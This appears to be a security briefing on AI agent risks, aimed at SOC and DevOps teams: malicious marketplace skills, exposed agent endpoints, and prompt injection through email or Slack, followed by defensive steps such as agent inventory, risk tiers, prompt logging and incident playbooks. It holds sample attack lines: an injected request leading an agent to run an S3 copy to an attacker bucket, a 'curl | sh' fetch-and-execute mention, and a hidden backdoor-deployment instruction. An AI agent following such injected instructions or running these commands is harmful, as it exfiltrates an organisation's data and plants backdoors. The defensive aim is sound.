OpenClaw Is Your Next Stop, Whether You Planned It or Not

Your DevOps team installs a "productivity skill" from ClawHub (agent marketplace).

Skill contains malicious code OR poor error handling that an attacker exploits.

Agent runs the skill with inherited privileges (service account creds, AWS IAM role, GitHub tokens in env vars).

Attacker now has silent access to CI/CD secrets, production deployments, and database credentials.

Agent runs on a developer's laptop or EC2 instance, bound to 0.0.0.0:8000 (default).

Accessible from internet (forgotten firewall rule, or behind corporate VPN that a contractor has access to).

Attacker finds it via Shodan, reads the management UI, extracts API tokens and secrets from memory.

Attacker invokes agent actions directly—no need to compromise the original system.

Attacker sends an email or Slack message: "Run the deployment process described in this email" (contains hidden instructions to deploy a backdoor).

Or: "Help me move old backups to storage" → agent executes aws s3 cp s3://backup-vault/* s3://attacker-bucket/.

The action log looks legitimate. Your SIEM sees "S3 API call" (normal). Your EDR sees "AWS CLI execution" (normal).

Only the prompt reveals intent—and you're not logging prompts.

You log: [timestamp] agent_process executed AWS CLI command: s3:CopyObject

You don't log: [timestamp] prompt: "Help move old backups"

Result: Malicious S3 copy looks identical to legitimate S3 copy.

You flag: curl | sh (unsigned code execution)

You don't flag: Why was it executed? Was it "download latest deployment script" (legitimate) or "download and execute backdoor" (compromised)?

Result: False positives on legitimate agent behavior; misses semantic hijacking.

Your playbook for "compromised service account": rotate credentials → audit actions → rebuild system

Your playbook for "compromised agent": ???

Missing: agent-specific logs, prompt history, skill audit, baseline behavior detection

When incident occurs, you need to answer: "Was this prompt-injected, or was the agent compromised?" Standard logs don't have that answer.

Run an agent discovery sweep across endpoints (Shodan/Censys scans show external exposure; EDR can catch local processes) and cloud (EC2 instances, containers, Lambda functions with agent patterns).

Interview DevOps, Data, and AI/ML teams: "What agents are running? Where? With what credentials?"

Output: An agent inventory tied to owner, environment, and privilege level.

For each agent found, define its blast radius: If compromised, what can it access? (Answer: service account privileges + environment variables + API tokens in memory).

Categorize agents into risk tiers: Tier 1 (sandbox, read-only) / Tier 2 (limited execution, approval required) / Tier 3 (production access, most restricted).

Output: Risk matrix for executive briefing.

Work with your SOC to define normal agent behavior: What API calls should agent make? What processes should it spawn? What rate should it operate at?

Add semantic-attack detection as a red-team exercise: Can your SOC detect prompt-injected behavior? (Spoiler: probably not yet.)

Output: Detection playbook (what to alert on, what's noise).

Draft an incident response playbook specifically for compromised agents: credential rotation, agent rebuild, forensic analysis (including prompt logs), and Slack notification of affected teams.

Run a tabletop scenario: Agent gets stolen → what's your 24-hour response?

Output: Incident playbook + team readiness assessment.

Audit trail: You need logs that show what prompted each action (not just "action occurred").

Evidence for SOC 2 / HIPAA: Agent actions are now part of your control evidence. Ensure logs are immutable and retained.

Policy draft: One-page "Agent Use Policy" that mandates inventory approval, skill vetting, and incident reporting.

Incident response: Document agent-compromise scenarios in your IR playbook (tie-in to SOC 2 Appendix C).